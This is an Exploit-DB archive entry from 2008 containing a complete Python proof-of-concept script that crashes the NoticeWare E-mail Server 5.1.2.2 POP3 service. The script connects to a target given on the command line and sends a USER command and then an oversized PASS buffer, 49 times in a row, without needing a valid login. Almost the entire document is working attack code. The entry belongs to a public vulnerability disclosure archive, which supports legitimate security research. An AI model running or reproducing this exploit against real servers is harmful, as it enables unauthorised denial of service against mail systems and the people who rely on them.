Exploit-DB #6719
Description: Noticeware E-mail Server 5.1.2.2 - 'POP3' Denial of Service
Type: dos
Platform: windows
Date: 2008-10-10
Author: rAWjAW

Exploit:
#!/usr/bin/python
#################################################################################
# Software: NoticeWare E-mail Sever (POP3) 5.1.2.2 Pre-Auth DoS                 #
# Discovered and Coded by: Paul Hand aka rAWjAW                                 #
# Blog: http://rawjaw-security.blogspot.com                                     #
# E-mail: phand3754<at>gmail<dot>com                                            #
#                                                                               #
# Description:  NoticeWare E-mail Server has many odd querks about it           #
# This DoS leverages the fact that the POP3 server can only handle              #
# so many exceptions before you get an access violation at 0x00000008           #
# which is given from an EDX+8 where EDX is 0x00000000.                         #
# I've tried many things to get code execution and non are prevalent.           #
# If you fuzz almost any of the commands for the POP3 server you will get it to #
# crash.  Also, if you are authenticated and do "LIST 0.5" (numerous times) you #
# will get the same access violation you do with this DoS.                      #
#                                                                               #
#Company Contact Date: 10-3-08 (But still no response)                          #
#################################################################################
import socket
import sys
from optparse import OptionParser

usage = "%prog -T <Target_IP> -P <Target_Port>"
parser = OptionParser(usage=usage)
parser.add_option("-T", "--target_IP", type="string",
	action="store", dest="IP", help="Target IP Address")
parser.add_option("-P", "--target_Port", type="int",
	action="store", dest="PORT", help="Target Port Address (usually 110)")
(options, args) = parser.parse_args()
IP=options.IP
PORT=options.PORT
if not (IP and PORT):
	parser.print_help()
	sys.exit(0)

buffer='\x42'*1000

print "########################################################"
print "#                NoticeWare Email DoS                  #"
print "#          Written by: Paul Hand aka rAWjAW            #"
print "#                                                      #"
print "# NOTE: The program does not seem to always crash at   #"
print "# the same point for some reason so if the script      #"
print "# hangs because of a \"faulty\" closed connection just   #"
print "# just CTRL+C and that means the POP3 server has been  #"
print "# successfully DoSed.  The program will still \"allow\"  #"
print "# connections but they will just hang and cannot be    #"
print "# used.                                                #"
print "########################################################"
try:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	connect=s.connect((IP,PORT))
	s.close()
except socket.error, message:
	print "Could not make initial connection. Quitting"
	sys.exit(0)

print "Connection to the target successful"
print "Sending buffers..."

x=1
while x < 50:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	connect=s.connect((IP,PORT))
	s.recv(1024)
	#You DO NOT need a vaild username
	s.send('USER admin\r\n')
	s.recv(1024)
	s.send('PASS ' + buffer + '\r\n')
	s.recv(1024)
	s.close()
	x=x+1
	
print "DoS Successful!"

# milw0rm.com [2008-10-10]